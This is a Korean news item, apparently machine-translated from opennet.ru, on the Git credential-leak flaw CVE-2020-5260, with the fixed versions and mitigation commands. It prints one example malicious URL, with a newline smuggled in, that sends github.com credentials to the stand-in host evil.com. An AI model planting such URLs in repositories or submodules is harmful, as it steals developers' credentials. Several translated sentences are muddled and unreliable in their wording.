Git ์ž๊ฒฉ ์ฆ๋ช… ์œ ์ถœ ์ทจ์•ฝ์ 

๊ฒŒ์‹œ๋จ ๋ถ„์‚ฐ ์†Œ์Šค ์ œ์–ด ์‹œ์Šคํ…œ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ๋ฐ 2.17.4์˜ ์ˆ˜์ • ๋ฆด๋ฆฌ์Šค ์ œ๊ฑฐํ•œ ์ทจ์•ฝ์  (CVE-2020-5260) ์ฒ˜๋ฆฌ๊ธฐ์—์„œ "์ž๊ฒฉ ์ฆ๋ช….๋„์šฐ๋ฏธ"๋กœ ์ธํ•ด git ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๊ฐœํ–‰ ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋œ ํŠน๋ณ„ํžˆ ํ˜•์‹ํ™”๋œ URL์„ ์‚ฌ์šฉํ•˜์—ฌ ์ €์žฅ์†Œ์— ์•ก์„ธ์Šคํ•  ๋•Œ ์ž๊ฒฉ ์ฆ๋ช…์ด ์ž˜๋ชป๋œ ํ˜ธ์ŠคํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์˜ ์ž๊ฒฉ ์ฆ๋ช…์ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹์„œ๋ฒ„๋กœ ์ „์†ก๋˜๋„๋ก ์ค€๋น„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

"https://evil.com?%0ahost=github.com/"๊ณผ ๊ฐ™์€ URL์„ ์ง€์ •ํ•˜๋ฉด ํ˜ธ์ŠคํŠธ evil.com์— ์—ฐ๊ฒฐํ•  ๋•Œ ์ž๊ฒฉ ์ฆ๋ช… ์ฒ˜๋ฆฌ๊ธฐ๊ฐ€ github.com์— ๋Œ€ํ•ด ์ง€์ •๋œ ์ธ์ฆ ๋งค๊ฐœ ๋ณ€์ˆ˜๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ํ•˜์œ„ ๋ชจ๋“ˆ์— ๋Œ€ํ•œ URL ์ฒ˜๋ฆฌ๋ฅผ ํฌํ•จํ•˜์—ฌ "git clone"๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ๋•Œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด "git submodule update"๋Š” ์ €์žฅ์†Œ์˜ .gitmodules ํŒŒ์ผ์— ์ง€์ •๋œ URL์„ ์ž๋™์œผ๋กœ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์„ฑ์€ ๊ฐœ๋ฐœ์ž๊ฐ€ URL์„ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ์ €์žฅ์†Œ๋ฅผ ๋ณต์ œํ•˜๋Š” ์ƒํ™ฉ(์˜ˆ: ํ•˜์œ„ ๋ชจ๋“ˆ ์ž‘์—… ์‹œ)์ด๋‚˜ ์ž๋™ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์‹œ์Šคํ…œ(์˜ˆ: ํŒจํ‚ค์ง€ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ)์—์„œ ๊ฐ€์žฅ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค.

์ƒˆ ๋ฒ„์ „์˜ ์ทจ์•ฝ์ ์„ ์ฐจ๋‹จํ•˜๋ ค๋ฉด ๊ธˆ์ง€ ์ž๊ฒฉ ์ฆ๋ช… ๊ตํ™˜ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ์ „์†ก๋˜๋Š” ๋ชจ๋“  ๊ฐ’์— ๊ฐœํ–‰ ๋ฌธ์ž๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๋ฐฐํฌํŒ์˜ ๊ฒฝ์šฐ ํŽ˜์ด์ง€์—์„œ ํŒจํ‚ค์ง€ ์—…๋ฐ์ดํŠธ ๋ฆด๋ฆฌ์Šค๋ฅผ ์ถ”์ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ๋น„์•ˆ, Ubuntu, RHEL, ์ˆ˜์„ธ/์˜คํ”ˆ์ˆ˜์„ธ, ํŽ˜๋„๋ผ, ์•„์น˜, FreeBSD์˜.

๋ฌธ์ œ๋ฅผ ์ฐจ๋‹จํ•˜๋Š” ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์œผ๋กœ ์ถ”์ฒœ ๊ณต๊ฐœ ์ €์žฅ์†Œ์— ์•ก์„ธ์Šคํ•  ๋•Œ credential.helper๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ๋ง๊ณ  ํ™•์ธ๋˜์ง€ ์•Š์€ ์ €์žฅ์†Œ๊ฐ€ ์žˆ๋Š” "--recurse-submodules" ๋ชจ๋“œ์—์„œ "git clone"์„ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. credential.helper ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ๋ณด์กด ๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. ์€๋‹‰์ฒ˜, ๋ณดํ˜ธ๋จ ๊ธˆ๊ณ  ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์ธ ๊ฒฝ์šฐ ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€